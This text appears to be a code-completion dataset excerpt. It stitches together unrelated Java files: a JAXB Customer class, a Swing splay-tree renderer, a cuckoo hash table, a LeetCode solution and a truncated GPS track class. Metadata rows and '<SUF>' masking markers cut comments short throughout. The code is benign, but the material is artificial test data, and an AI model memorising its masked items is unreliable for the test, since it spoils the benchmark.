* <element name="id" type="{http://www.w3.org/2001/XMLSchema}long"/>
* <element name="firstName" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="lastName" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="street" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="postCode" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="city" type="{http://www.w3.org/2001/XMLSchema}string"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "customer", propOrder = {
"id",
"firstName",
"lastName",
"street",
"postCode",
"city"
})
public class Customer {
protected long id;
@XmlElement(required = true)
protected String firstName;
@XmlElement(required = true)
protected String lastName;
@XmlElement(required = true)
protected String street;
@XmlElement(required = true)
protected String postCode;
@XmlElement(required = true)
protected String city;
/**
* Ruft den Wert der id-Eigenschaft ab.
*
*/
public long getId() {
return id;
}
/**
* Legt den Wert der id-Eigenschaft fest.
*
*/
public void setId(long value) {
this.id = value;
}
/**
* Ruft den Wert der firstName-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getFirstName() {
return firstName;
}
/**
* Legt den Wert der firstName-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setFirstName(String value) {
this.firstName = value;
}
/**
* Ruft den Wert der lastName-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getLastName() {
return lastName;
}
/**
* Legt den Wert der lastName-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setLastName(String value) {
this.lastName = value;
}
/**
* Ruft den Wert der street-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getStreet() {
return street;
}
/**
* Legt den Wert der street-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setStreet(String value) {
this.street = value;
}
/**
* Ruft den Wert der postCode-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getPostCode() {
return postCode;
}
/**
* Legt den Wert der postCode-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setPostCode(String value) {
this.postCode = value;
}
/**
* Ruft den Wert der city-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getCity() {
return city;
}
/**
* Legt den Wert<SUF>*/
public void setCity(String value) {
this.city = value;
}
}
|
189558_9 | /**
@file TreeDisplay.java
@author Morgan McGuire, [email protected]
@created 2002-09-15
@edited 2002-09-16
*/
import javax.swing.*;
import java.awt.*;
import javax.swing.event.*;
import java.awt.event.*;
import java.util.*;
/**
Renders ordered binary trees with nice colors and 3D shading.
*/
class TreeDisplay extends JPanel {
/** Back pointer to the demo so this class can find the tree root */
SplayDemo demo = null;
/** Used for tracking node positions when handling mouse events. */
class Position {
Node n;
int x;
int y;
Position(Node n, int x, int y) {
this.n = n;
this.x = x;
this.y = y;
}
}
Vector position = new Vector();
/** Radius of nodes when rendered */
final static int radius = 20;
/** Vertical spacing when rendered */
final static int ySpacing = 55;
BinaryTree tree = null;
String caption = "";
public TreeDisplay(SplayDemo demo, BinaryTree tree, String caption) {
this.caption = caption;
this.tree = tree;
this.demo = demo;
setBackground(java.awt.Color.white);
int width = 500;
int height = 400;
setSize(width, height);
Dimension dim = new Dimension(width, height);
setPreferredSize(dim);
setMinimumSize(dim);
setMaximumSize(dim);
enableEvents(java.awt.AWTEvent.MOUSE_EVENT_MASK);
}
protected void processMouseEvent(MouseEvent e) {
switch (e.getID()) {
case MouseEvent.MOUSE_PRESSED:
// Find the node
Node node = null;
for (int n = 0; n < position.size(); ++n) {
Position pos = (Position)position.get(n);
if (Math.sqrt(Math.pow(pos.x - e.getX(), 2) +
Math.pow(pos.y - e.getY(), 2)) <= radius) {
node = pos.n;
break;
}
}
if (node != null) {
demo.leftMouse(node.key, this);
} else {
demo.leftMouse(-1, this);
}
break;
}
}
synchronized public void paintComponent(Graphics r) {
super.paintComponent(r);
// Java promises to call this method with a Graphics2D
Graphics2D g = (Graphics2D)r;
Rectangle bounds = getBounds();
Node node = tree.getRoot();
// Enable anti-aliasing
g.setRenderingHints(
new RenderingHints(
RenderingHints.KEY_ANTIALIASING,
RenderingHints.VALUE_ANTIALIAS_ON));
g.setFont(new Font("Arial", Font.BOLD, 30));
g.setColor(java.awt.Color.black);
g.drawString(caption, 5, bounds.height - 10);
g.drawRect(0, 0, bounds.width - 1, bounds.height - 1);
g.setFont(new Font("Arial", Font.BOLD, 16));
position.clear();
drawShadows(g, node, 250, 25, 100);
if (node != null) {
draw(g, node, 250, 25, 100);
}
}
private void drawShadows(Graphics2D g, Node n, int x, int y, int width) {
if (n != null) {
final int nextY = y + ySpacing - width / 3;
g.setColor(new java.awt.Color(.85f, .85f, .85f));
g.fillOval(x - radius + 15, y - radius + 15,
(int)(1.8 * radius), (int)(1.8 * radius));
drawShadows(g, n.left, x - width, nextY, width / 2);
drawShadows(g, n.right, x + width, nextY, width / 2);
}
}
/** Computes a color hashed on k, where a = bright and b = dark. */
static private Color computeColor(int k, float a, float b) {
// Get an integer between 1 and 6
int j = (k % 6) + 1;
// Enumerate through primary colors, avoiding white and black.
// Extract the 0, 1, and 2 bits
boolean b0 = (j & 1) == 1;
boolean b1 = (j & 2) == 2;
boolean b2 = (j & 4) == 4;
return new java.awt.Color(b0 ? a : b,
b1 ? a : b,
b2 ? a : b);
}
private void draw(Graphics2D g, Node n, int x, int y, int width) {
position.add(new Position(n, x, y));
final int nextY = y + ySpacing - width / 3;
g.setColor(java.awt.Color.black);
if (n.left != null) {
g.setColor(java.awt.Color.black);
g.drawLine(x, y, x - width, nextY);
draw(g, n.left, x - width, nextY, width / 2);
}
if (n.right != null) {
g.setColor(java.awt.Color.black);
g.drawLine(x, y, x + width, nextY);
draw(g, n.right, x + width, nextY, width / 2);
}
// Draw a 3D shaded sphere for the node
for (int i = radius; i >= 0; --i) {
float d =
(float)Math.cos((Math.PI / 2) *
(i / (double)radius)) * .75f + 0.25f;
g.setColor(computeColor(n.key, d, 0.0f));
g.fillOval(x - radius + (radius - i) / 4 + 1,
y - radius + (radius - i) / 4 + 1,
radius + i, radius + i);
}
// Specular highlight
for (int i = radius; i >= 0; --i) {
g.setColor(computeColor(n.key, 1.0f,
Math.min(1.0f, 1.5f * (1.0f - (float)i / radius))));
g.fillOval(x - radius / 3 + 1 - i/2,
y - radius / 3 + 1 - i/2,
i, i);
}
// Circle around node
g.setColor(java.awt.Color.black);
int dx2 = 0;
if (n.key > 9) {
dx2 = -5;
}
// Black outline around text
g.drawOval(x - radius, y - radius, 2 * radius, 2 * radius);
for (int dx = -1; dx <= 1; ++dx) {
for (int dy = -1; dy <= 1; ++dy) {
g.drawString("" + n.key, x - 5 + dx + dx2, y + 5 + dy);
}
}
// Text
g.setColor(java.awt.Color.white);
g.drawString("" + n.key, x - 5 + dx2, y + 5);
}
}
| morgan3d/misc | splaytree/TreeDisplay.java | 2,074 | // Get an integer between 1 and 6 | line_comment | nl | /**
@file TreeDisplay.java
@author Morgan McGuire, [email protected]
@created 2002-09-15
@edited 2002-09-16
*/
import javax.swing.*;
import java.awt.*;
import javax.swing.event.*;
import java.awt.event.*;
import java.util.*;
/**
Renders ordered binary trees with nice colors and 3D shading.
*/
class TreeDisplay extends JPanel {
/** Back pointer to the demo so this class can find the tree root */
SplayDemo demo = null;
/** Used for tracking node positions when handling mouse events. */
class Position {
Node n;
int x;
int y;
Position(Node n, int x, int y) {
this.n = n;
this.x = x;
this.y = y;
}
}
Vector position = new Vector();
/** Radius of nodes when rendered */
final static int radius = 20;
/** Vertical spacing when rendered */
final static int ySpacing = 55;
BinaryTree tree = null;
String caption = "";
public TreeDisplay(SplayDemo demo, BinaryTree tree, String caption) {
this.caption = caption;
this.tree = tree;
this.demo = demo;
setBackground(java.awt.Color.white);
int width = 500;
int height = 400;
setSize(width, height);
Dimension dim = new Dimension(width, height);
setPreferredSize(dim);
setMinimumSize(dim);
setMaximumSize(dim);
enableEvents(java.awt.AWTEvent.MOUSE_EVENT_MASK);
}
protected void processMouseEvent(MouseEvent e) {
switch (e.getID()) {
case MouseEvent.MOUSE_PRESSED:
// Find the node
Node node = null;
for (int n = 0; n < position.size(); ++n) {
Position pos = (Position)position.get(n);
if (Math.sqrt(Math.pow(pos.x - e.getX(), 2) +
Math.pow(pos.y - e.getY(), 2)) <= radius) {
node = pos.n;
break;
}
}
if (node != null) {
demo.leftMouse(node.key, this);
} else {
demo.leftMouse(-1, this);
}
break;
}
}
synchronized public void paintComponent(Graphics r) {
super.paintComponent(r);
// Java promises to call this method with a Graphics2D
Graphics2D g = (Graphics2D)r;
Rectangle bounds = getBounds();
Node node = tree.getRoot();
// Enable anti-aliasing
g.setRenderingHints(
new RenderingHints(
RenderingHints.KEY_ANTIALIASING,
RenderingHints.VALUE_ANTIALIAS_ON));
g.setFont(new Font("Arial", Font.BOLD, 30));
g.setColor(java.awt.Color.black);
g.drawString(caption, 5, bounds.height - 10);
g.drawRect(0, 0, bounds.width - 1, bounds.height - 1);
g.setFont(new Font("Arial", Font.BOLD, 16));
position.clear();
drawShadows(g, node, 250, 25, 100);
if (node != null) {
draw(g, node, 250, 25, 100);
}
}
private void drawShadows(Graphics2D g, Node n, int x, int y, int width) {
if (n != null) {
final int nextY = y + ySpacing - width / 3;
g.setColor(new java.awt.Color(.85f, .85f, .85f));
g.fillOval(x - radius + 15, y - radius + 15,
(int)(1.8 * radius), (int)(1.8 * radius));
drawShadows(g, n.left, x - width, nextY, width / 2);
drawShadows(g, n.right, x + width, nextY, width / 2);
}
}
/** Computes a color hashed on k, where a = bright and b = dark. */
static private Color computeColor(int k, float a, float b) {
// Get an<SUF>
int j = (k % 6) + 1;
// Enumerate through primary colors, avoiding white and black.
// Extract the 0, 1, and 2 bits
boolean b0 = (j & 1) == 1;
boolean b1 = (j & 2) == 2;
boolean b2 = (j & 4) == 4;
return new java.awt.Color(b0 ? a : b,
b1 ? a : b,
b2 ? a : b);
}
private void draw(Graphics2D g, Node n, int x, int y, int width) {
position.add(new Position(n, x, y));
final int nextY = y + ySpacing - width / 3;
g.setColor(java.awt.Color.black);
if (n.left != null) {
g.setColor(java.awt.Color.black);
g.drawLine(x, y, x - width, nextY);
draw(g, n.left, x - width, nextY, width / 2);
}
if (n.right != null) {
g.setColor(java.awt.Color.black);
g.drawLine(x, y, x + width, nextY);
draw(g, n.right, x + width, nextY, width / 2);
}
// Draw a 3D shaded sphere for the node
for (int i = radius; i >= 0; --i) {
float d =
(float)Math.cos((Math.PI / 2) *
(i / (double)radius)) * .75f + 0.25f;
g.setColor(computeColor(n.key, d, 0.0f));
g.fillOval(x - radius + (radius - i) / 4 + 1,
y - radius + (radius - i) / 4 + 1,
radius + i, radius + i);
}
// Specular highlight
for (int i = radius; i >= 0; --i) {
g.setColor(computeColor(n.key, 1.0f,
Math.min(1.0f, 1.5f * (1.0f - (float)i / radius))));
g.fillOval(x - radius / 3 + 1 - i/2,
y - radius / 3 + 1 - i/2,
i, i);
}
// Circle around node
g.setColor(java.awt.Color.black);
int dx2 = 0;
if (n.key > 9) {
dx2 = -5;
}
// Black outline around text
g.drawOval(x - radius, y - radius, 2 * radius, 2 * radius);
for (int dx = -1; dx <= 1; ++dx) {
for (int dy = -1; dy <= 1; ++dy) {
g.drawString("" + n.key, x - 5 + dx + dx2, y + 5 + dy);
}
}
// Text
g.setColor(java.awt.Color.white);
g.drawString("" + n.key, x - 5 + dx2, y + 5);
}
}
|
24632_6 | /*
* Morgan Stanley makes this available to you under the Apache License, Version 2.0 (the "License").
* You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0.
* See the NOTICE file distributed with this work for additional information regarding copyright ownership.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.ms.silverking.collection.cuckoo;
import java.nio.ByteBuffer;
import java.nio.IntBuffer;
import java.util.Iterator;
import com.ms.silverking.cloud.dht.collection.DHTKeyCuckooBase;
import com.ms.silverking.cloud.dht.collection.DHTKeyIntEntry;
import com.ms.silverking.cloud.dht.common.DHTKey;
import org.slf4j.LoggerFactory;
import org.slf4j.Logger;
/** */
public class IntBufferCuckoo extends CuckooBase<Integer> implements Iterable<IntKeyIntEntry> {
private final SubTable[] subTables;
private static final int empty = IntCuckooConstants.empty;
private static final int[] extraShiftPerTable = {-1, -1, 32, -1, 16, -1, -1, -1, 8};
private static Logger log = LoggerFactory.getLogger(IntBufferCuckoo.class);
private static final boolean debug = false;
private static final boolean debugCycle = false;
// entry - key/value entry
// bucket - group of entries
// bucketSize - entriesPerBucket
public IntBufferCuckoo(WritableCuckooConfig cuckooConfig, ByteBuffer byteBuf) {
super(cuckooConfig);
subTables = new SubTable[numSubTables];
for (int i = 0; i < subTables.length; i++) {
IntBuffer buf;
IntBuffer values;
int valueBufSizeInts;
int entrySizeAtoms;
int bucketSizeAtoms;
int bufferSizeAtoms;
int bufferSizeBytes;
int valuesSizeBytes;
int subtableSizeBytes;
int bufStartBytes;
int valuesStartBytes;
valueBufSizeInts = subTableBuckets * entriesPerBucket;
entrySizeAtoms = SubTable._singleEntrySize;
bucketSizeAtoms = SubTable._singleEntrySize * entriesPerBucket;
bufferSizeAtoms = subTableBuckets * bucketSizeAtoms;
bufferSizeBytes = bufferSizeAtoms * Integer.BYTES;
valuesSizeBytes = valueBufSizeInts * Integer.BYTES;
subtableSizeBytes = bufferSizeBytes + valuesSizeBytes;
bufStartBytes = subtableSizeBytes * i;
valuesStartBytes = subtableSizeBytes * i + bufferSizeBytes;
buf =
((ByteBuffer)
byteBuf
.duplicate()
.position(bufStartBytes)
.limit(bufStartBytes + bufferSizeBytes))
.slice()
.asIntBuffer();
values =
((ByteBuffer)
byteBuf
.duplicate()
.position(valuesStartBytes)
.limit(valuesStartBytes + valuesSizeBytes))
.slice()
.asIntBuffer();
subTables[i] =
new SubTable(
i,
cuckooConfig.getNumSubTableBuckets(),
entriesPerBucket,
extraShiftPerTable[numSubTables] * i,
buf,
values);
}
setSubTables(subTables);
}
public int get(Integer key) {
int _key;
_key = Integer.hashCode(key);
for (SubTable subTable : subTables) {
int rVal;
rVal = subTable.get(_key);
if (rVal != empty) {
return rVal;
}
}
return IntCuckooConstants.noSuchValue;
}
public void put(Integer key, int value) {
throw new UnsupportedOperationException();
}
public void display() {
for (int i = 0; i < subTables.length; i++) {
log.info("subTable {}", i);
subTables[i].display();
}
}
class SubTable extends SubTableBase {
private final int id;
private final IntBuffer buf;
private final IntBuffer values;
private final int keyShift;
private static final int keyOffset = 0;
private static final int _singleEntrySize = 1;
SubTable(
int id,
int numBuckets,
int entriesPerBucket,
int extraShift,
IntBuffer buf,
IntBuffer values) {
super(numBuckets, entriesPerBucket, _singleEntrySize);
// System.out.println("numEntries: "+ numBuckets +"\tentriesPerBucket: "+ entriesPerBucket);
this.id = id;
this.buf = buf;
this.values = values;
// buf = new long[bufferSizeAtoms];
// values = new int[numBuckets * entriesPerBucket];
keyShift = extraShift;
// clear();
}
@Override
boolean remove(Integer key) {
throw new UnsupportedOperationException();
}
int get(int key) {
int bucketIndex;
if (debug) {
log.info(" get {} {}", id, key);
}
bucketIndex = getBucketIndex(key);
for (int i = 0; i < entriesPerBucket; i++) {
int entryIndex;
// if (entryMatches(msl, lsl, index, i)) {
entryIndex = ((int) ((int) key >>> balanceShift) + i) & entriesMask;
// entryIndex = i;
if (entryMatches(key, bucketIndex, entryIndex)) {
return getValue(bucketIndex, entryIndex);
}
}
return empty;
}
private int getBucketIndex(int key) {
// return Math.abs((int)(lsl >> keyShift)) % capacity;
if (debug) {
// System.out.printf("%x\t%x\t%x\t%d\n", lsl, bitMask, ((int)(lsl >> keyShift) &
// bitMask), ((int)(lsl >>
// keyShift) & bitMask));
log.info("bucketIndex {} -> {}", key, ((int) (key >>> keyShift) & bitMask));
}
return (int) (key >>> keyShift) & bitMask;
}
void display() {
for (int i = 0; i < numBuckets(); i++) {
displayBucket(i);
}
}
private void displayBucket(int bucketIndex) {
log.info(" bucket {}", bucketIndex);
for (int i = 0; i < entriesPerBucket; i++) {
displayEntry(bucketIndex, i);
}
}
private void displayEntry(int bucketIndex, int entryIndex) {
log.info("{} {}", bucketIndex, entryString(bucketIndex, entryIndex));
}
private String entryString(int bucketIndex, int entryIndex) {
int baseOffset;
baseOffset = getHTEntryIndex(bucketIndex, entryIndex);
return "" + buf.get(baseOffset + keyOffset) + "\t" + values.get(bucketIndex);
}
protected final boolean isEmpty(int bucketIndex, int entryIndex) {
return getValue(bucketIndex, entryIndex) == empty;
}
private boolean entryMatches(int key, int bucketIndex, int entryIndex) {
int baseOffset;
// displayEntry(bucketIndex, entryIndex);
baseOffset = getHTEntryIndex(bucketIndex, entryIndex);
// System.out.println("\t"+ entryIndex +"\t"+ bucketIndex +"\t"+ baseOffset);
// System.out.printf("%x:%x\t%x:%x\n",
// buf[baseOffset + mslOffset], buf[baseOffset + lslOffset],
// msl, lsl);
return buf.get(baseOffset + keyOffset) == key;
}
int getValue(int bucketIndex, int entryIndex) {
return values.get(bucketIndex * entriesPerBucket + entryIndex);
}
int getKey(int bucketIndex, int entryIndex) {
int baseOffset;
baseOffset = getHTEntryIndex(bucketIndex, entryIndex);
return buf.get(baseOffset + keyOffset);
}
@Override
void clear() {
throw new UnsupportedOperationException();
}
}
@Override
public Iterator<IntKeyIntEntry> iterator() {
return new CuckooIterator();
}
class CuckooIterator extends CuckooIteratorBase implements Iterator<IntKeyIntEntry> {
CuckooIterator() {
super();
}
@Override
public IntKeyIntEntry next() {
IntKeyIntEntry mapEntry;
// precondition: moveToNonEmpty() has been called
mapEntry =
new IntKeyIntEntry(
subTables[subTable].getKey(bucket, entry),
subTables[subTable].getValue(bucket, entry));
moveToNonEmpty();
return mapEntry;
}
boolean curIsEmpty() {
return subTables[subTable].getValue(bucket, entry) == empty;
}
}
}
| morganstanley/optimus-cirrus | optimus/silverking/projects/silverking/src/main/java/com/ms/silverking/collection/cuckoo/IntBufferCuckoo.java | 2,543 | // values = new int[numBuckets * entriesPerBucket]; | line_comment | nl | /*
* Morgan Stanley makes this available to you under the Apache License, Version 2.0 (the "License").
* You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0.
* See the NOTICE file distributed with this work for additional information regarding copyright ownership.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.ms.silverking.collection.cuckoo;
import java.nio.ByteBuffer;
import java.nio.IntBuffer;
import java.util.Iterator;
import com.ms.silverking.cloud.dht.collection.DHTKeyCuckooBase;
import com.ms.silverking.cloud.dht.collection.DHTKeyIntEntry;
import com.ms.silverking.cloud.dht.common.DHTKey;
import org.slf4j.LoggerFactory;
import org.slf4j.Logger;
/** */
public class IntBufferCuckoo extends CuckooBase<Integer> implements Iterable<IntKeyIntEntry> {
private final SubTable[] subTables;
private static final int empty = IntCuckooConstants.empty;
private static final int[] extraShiftPerTable = {-1, -1, 32, -1, 16, -1, -1, -1, 8};
private static Logger log = LoggerFactory.getLogger(IntBufferCuckoo.class);
private static final boolean debug = false;
private static final boolean debugCycle = false;
// entry - key/value entry
// bucket - group of entries
// bucketSize - entriesPerBucket
public IntBufferCuckoo(WritableCuckooConfig cuckooConfig, ByteBuffer byteBuf) {
super(cuckooConfig);
subTables = new SubTable[numSubTables];
for (int i = 0; i < subTables.length; i++) {
IntBuffer buf;
IntBuffer values;
int valueBufSizeInts;
int entrySizeAtoms;
int bucketSizeAtoms;
int bufferSizeAtoms;
int bufferSizeBytes;
int valuesSizeBytes;
int subtableSizeBytes;
int bufStartBytes;
int valuesStartBytes;
valueBufSizeInts = subTableBuckets * entriesPerBucket;
entrySizeAtoms = SubTable._singleEntrySize;
bucketSizeAtoms = SubTable._singleEntrySize * entriesPerBucket;
bufferSizeAtoms = subTableBuckets * bucketSizeAtoms;
bufferSizeBytes = bufferSizeAtoms * Integer.BYTES;
valuesSizeBytes = valueBufSizeInts * Integer.BYTES;
subtableSizeBytes = bufferSizeBytes + valuesSizeBytes;
bufStartBytes = subtableSizeBytes * i;
valuesStartBytes = subtableSizeBytes * i + bufferSizeBytes;
buf =
((ByteBuffer)
byteBuf
.duplicate()
.position(bufStartBytes)
.limit(bufStartBytes + bufferSizeBytes))
.slice()
.asIntBuffer();
values =
((ByteBuffer)
byteBuf
.duplicate()
.position(valuesStartBytes)
.limit(valuesStartBytes + valuesSizeBytes))
.slice()
.asIntBuffer();
subTables[i] =
new SubTable(
i,
cuckooConfig.getNumSubTableBuckets(),
entriesPerBucket,
extraShiftPerTable[numSubTables] * i,
buf,
values);
}
setSubTables(subTables);
}
public int get(Integer key) {
int _key;
_key = Integer.hashCode(key);
for (SubTable subTable : subTables) {
int rVal;
rVal = subTable.get(_key);
if (rVal != empty) {
return rVal;
}
}
return IntCuckooConstants.noSuchValue;
}
public void put(Integer key, int value) {
throw new UnsupportedOperationException();
}
public void display() {
for (int i = 0; i < subTables.length; i++) {
log.info("subTable {}", i);
subTables[i].display();
}
}
class SubTable extends SubTableBase {
private final int id;
private final IntBuffer buf;
private final IntBuffer values;
private final int keyShift;
private static final int keyOffset = 0;
private static final int _singleEntrySize = 1;
SubTable(
int id,
int numBuckets,
int entriesPerBucket,
int extraShift,
IntBuffer buf,
IntBuffer values) {
super(numBuckets, entriesPerBucket, _singleEntrySize);
// System.out.println("numEntries: "+ numBuckets +"\tentriesPerBucket: "+ entriesPerBucket);
this.id = id;
this.buf = buf;
this.values = values;
// buf = new long[bufferSizeAtoms];
// values =<SUF>
keyShift = extraShift;
// clear();
}
@Override
boolean remove(Integer key) {
throw new UnsupportedOperationException();
}
int get(int key) {
int bucketIndex;
if (debug) {
log.info(" get {} {}", id, key);
}
bucketIndex = getBucketIndex(key);
for (int i = 0; i < entriesPerBucket; i++) {
int entryIndex;
// if (entryMatches(msl, lsl, index, i)) {
entryIndex = ((int) ((int) key >>> balanceShift) + i) & entriesMask;
// entryIndex = i;
if (entryMatches(key, bucketIndex, entryIndex)) {
return getValue(bucketIndex, entryIndex);
}
}
return empty;
}
private int getBucketIndex(int key) {
// return Math.abs((int)(lsl >> keyShift)) % capacity;
if (debug) {
// System.out.printf("%x\t%x\t%x\t%d\n", lsl, bitMask, ((int)(lsl >> keyShift) &
// bitMask), ((int)(lsl >>
// keyShift) & bitMask));
log.info("bucketIndex {} -> {}", key, ((int) (key >>> keyShift) & bitMask));
}
return (int) (key >>> keyShift) & bitMask;
}
void display() {
for (int i = 0; i < numBuckets(); i++) {
displayBucket(i);
}
}
private void displayBucket(int bucketIndex) {
log.info(" bucket {}", bucketIndex);
for (int i = 0; i < entriesPerBucket; i++) {
displayEntry(bucketIndex, i);
}
}
private void displayEntry(int bucketIndex, int entryIndex) {
log.info("{} {}", bucketIndex, entryString(bucketIndex, entryIndex));
}
private String entryString(int bucketIndex, int entryIndex) {
int baseOffset;
baseOffset = getHTEntryIndex(bucketIndex, entryIndex);
return "" + buf.get(baseOffset + keyOffset) + "\t" + values.get(bucketIndex);
}
protected final boolean isEmpty(int bucketIndex, int entryIndex) {
return getValue(bucketIndex, entryIndex) == empty;
}
private boolean entryMatches(int key, int bucketIndex, int entryIndex) {
int baseOffset;
// displayEntry(bucketIndex, entryIndex);
baseOffset = getHTEntryIndex(bucketIndex, entryIndex);
// System.out.println("\t"+ entryIndex +"\t"+ bucketIndex +"\t"+ baseOffset);
// System.out.printf("%x:%x\t%x:%x\n",
// buf[baseOffset + mslOffset], buf[baseOffset + lslOffset],
// msl, lsl);
return buf.get(baseOffset + keyOffset) == key;
}
int getValue(int bucketIndex, int entryIndex) {
return values.get(bucketIndex * entriesPerBucket + entryIndex);
}
int getKey(int bucketIndex, int entryIndex) {
int baseOffset;
baseOffset = getHTEntryIndex(bucketIndex, entryIndex);
return buf.get(baseOffset + keyOffset);
}
@Override
void clear() {
throw new UnsupportedOperationException();
}
}
@Override
public Iterator<IntKeyIntEntry> iterator() {
return new CuckooIterator();
}
class CuckooIterator extends CuckooIteratorBase implements Iterator<IntKeyIntEntry> {
CuckooIterator() {
super();
}
@Override
public IntKeyIntEntry next() {
IntKeyIntEntry mapEntry;
// precondition: moveToNonEmpty() has been called
mapEntry =
new IntKeyIntEntry(
subTables[subTable].getKey(bucket, entry),
subTables[subTable].getValue(bucket, entry));
moveToNonEmpty();
return mapEntry;
}
boolean curIsEmpty() {
return subTables[subTable].getValue(bucket, entry) == empty;
}
}
}
|
49250_3 | //Given an array and a value, remove all instances of that value in-place and return the new length.
//Do not allocate extra space for another array, you must do this by modifying the input array in-place with O(1) extra memory.
//The order of elements can be changed. It doesn't matter what you leave beyond the new length.
//Example:
//Given nums = [3,2,2,3], val = 3,
//Your function should return length = 2, with the first two elements of nums being 2.
class RemoveElement {
public int removeElement(int[] nums, int val) {
int index = 0;
for(int i = 0; i < nums.length; i++) {
if(nums[i] != val) {
nums[index++] = nums[i];
}
}
return index;
}
}
| mostofashakib/Core-Interview-Preparation | Interview Preparation University/Resources/leetcode/two-pointers/RemoveElement.java | 222 | //Given nums = [3,2,2,3], val = 3, | line_comment | nl | //Given an array and a value, remove all instances of that value in-place and return the new length.
//Do not allocate extra space for another array, you must do this by modifying the input array in-place with O(1) extra memory.
//The order of elements can be changed. It doesn't matter what you leave beyond the new length.
//Example:
//Given nums<SUF>
//Your function should return length = 2, with the first two elements of nums being 2.
class RemoveElement {
public int removeElement(int[] nums, int val) {
int index = 0;
for(int i = 0; i < nums.length; i++) {
if(nums[i] != val) {
nums[index++] = nums[i];
}
}
return index;
}
}
|
18842_7 | package nl.bikeprint.trackaggregate.shared;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Date;
import nl.bikeprint.trackaggregate.aggregegationMethods.mapmatching.DPoint;
import nl.bikeprint.trackaggregate.general.Constants;
import nl.bikeprint.trackaggregate.general.GoudmapLine;
import org.apache.commons.lang3.ArrayUtils;
public class GPSTrack {
public final static double DREMPEL_AFSTAND_BEGIN_EIND = 0.3; // 0.3 km = 300 meter
public final static long DREMPEL_TIJD_SPLITSEN = 3 * 60 * 1000; // 3 minuten in milliseconden
public final static double DREMPEL_AFSTAND_SPLITSEN = 0.2; // 0.2 km = 200 meter
private ArrayList<GPSPoint> gpsArray = new ArrayList<GPSPoint>();
private int routeID;
private boolean isSet = false;
private Integer beginUur = null;
private Integer weekDag = null;
private int modality = -1;
GoudmapLine cacheLine = null;
private java.util.Random random = new java.util.Random();
@SuppressWarnings({ "deprecation" })
public void add(double x, double y, double snelheid, String datestring) {
isSet = true;
// System.out.println("add " + x + ", " + y);
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = null;
try {
date = simpleDateFormat.parse(datestring);
} catch (ParseException e) {
simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS");
try {
date = simpleDateFormat.parse(datestring);
} catch (ParseException e2) {
e2.printStackTrace();
}
}
if (beginUur == null) {
beginUur = date.getHours();
}
if (weekDag == null) {
weekDag = date.getDay();
}
int l = gpsArray.size();
double berekendeSnelheid = 0;
double km = 0;
double uur = 0;
boolean onbetrouwbaar = false;
if (l > 0) {
GPSPoint laatstePunt = gpsArray.get(l - 1);
km = GoudmapLine.distance_2_Points(x, y, laatstePunt.getX(), laatstePunt.getY()) / Constants.GOOGLE_FACTOR;
uur = (double)(date.getTime() - laatstePunt.getTime()) / 1000 / 3600;
berekendeSnelheid = km / uur;
onbetrouwbaar = (km > 0.1 && berekendeSnelheid > 50) || (km > 1 && berekendeSnelheid > 30) || (km > 2);
if (onbetrouwbaar) {
gpsArray.remove(l - 1);
}
}
if (!onbetrouwbaar) {
gpsArray.add(new GPSPoint(x, y, snelheid, date));
}
cacheLine = null;
}
public boolean isSet() {
return isSet;
}
public int getAantal() {
return gpsArray.size();
}
public GPSPoint getNode(int i) {
if (i < 0 || i >= gpsArray.size()) {
return null;
} else {
return gpsArray.get(i);
}
}
public int getRouteID() {
return routeID;
}
public void setRouteID(int routeID) {
this.routeID = routeID;
}
public GoudmapLine getLine() {
if (cacheLine == null) {
ArrayList<DPoint> arr_vertices = new ArrayList<DPoint>();
GPSPoint gpsPoint;
for (int i = 0; i < getAantal(); i++) {
gpsPoint = gpsArray.get(i);
arr_vertices.add(new DPoint(gpsPoint.getX(),gpsPoint.getY()));
}
cacheLine = new GoudmapLine(arr_vertices);
}
return cacheLine;
}
public double getLengte() {
return getLine().length() / Constants.GOOGLE_FACTOR;
}
public double getHemelsbredeLengte() {
GPSPoint eindNode = getNode(getAantal() - 1);
GPSPoint beginNode = getNode(0);
if (eindNode != null && beginNode != null) {
return GoudmapLine.distance_2_Points(eindNode.toPoint(), beginNode.toPoint()) / Constants.GOOGLE_FACTOR;
} else {
return 0;
}
}
public double getTijdAt(DPoint punt) {
double[] arr = getLine().distanceVertexAandeel(punt);
long tijd = 0;
long tijdA = getNode((int)arr[0]).getTime();
if (arr[1] > 0) {
long tijdB = getNode((int)arr[0] + 1).getTime();
tijd = (long)(tijdA + (tijdB - tijdA) * arr[1]);
} else {
tijd = tijdA;
}
return tijd;
}
public DPoint getPuntAtTijd(long tijd) {
GPSPoint gpsPoint,gpsPointA,gpsPointB;
int i;
if (getAantal() < 2) return null;
long atijd = gpsArray.get(0).getTimeOfDay();
if (atijd > tijd) return null;
